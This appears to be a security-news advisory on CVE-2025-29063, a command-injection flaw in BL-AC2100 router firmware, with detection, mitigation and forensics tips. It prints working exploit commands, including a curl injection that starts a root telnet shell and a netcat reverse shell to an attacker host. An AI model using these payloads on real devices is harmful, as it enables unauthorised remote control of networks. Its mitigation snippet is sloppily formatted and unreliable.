BL-AC2100, Remote Code Execution, CVE-2025-29063 (Critical)

Listen to this Post

🐢▶️ Listen🚀

How the CVE Works

CVE-2025-29063 is a critical remote code execution (RCE) vulnerability in BL-AC2100 routers (firmware V1.0.4 and earlier). The flaw exists in the `/goform/set_hidessid_cfg` endpoint, where the `enable` parameter is improperly sanitized. An attacker can craft a malicious HTTP request with shell metacharacters or command injections in the `enable` field, leading to arbitrary command execution on the router with root privileges. The lack of input validation allows attackers to exploit this over the network without authentication, compromising the device and internal networks.

DailyCVE Form

Platform: BL-AC2100
Version: ≤ V1.0.4
Vulnerability: RCE
Severity: Critical
Date: 04/29/2025

What Undercode Say:

Exploitation:

1. Crafting the Payload:

curl -X POST "http://<TARGET_IP>/goform/set_hidessid_cfg" -d "enable=;telnetd -l /bin/sh;"

2. Reverse Shell (Alternative):

curl -X POST "http://<TARGET_IP>/goform/set_hidessid_cfg" -d "enable=;nc -e /bin/sh <ATTACKER_IP> 4444;"

Detection:

• Check Firmware Version:

  curl -I http://<TARGET_IP>/fw_version.txt
  

• Log Analysis:

  grep -r "goform/set_hidessid_cfg" /var/log/httpd/
  

Mitigation:

1. Patch: Upgrade to firmware > V1.0.4.

1. Input Sanitization: Block special characters in `enable` parameter:

   import re
   if re.search(r"[;|&]", enable_param):
   reject_request()
   

3. Network Controls:

iptables -A INPUT -p tcp --dport 80 -j DROP Temporary block web interface

Post-Exploitation Analysis:

• Extract Configs:

  cat /etc/passwd
  

• Persistence Check:

  crontab -l
  

Forensics:

• HTTP Request Logs:

  strings /tmp/httpd.log | grep "set_hidessid_cfg"
  

• Memory Dump:

  dd if=/dev/mem of=/tmp/memdump.bin
  

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram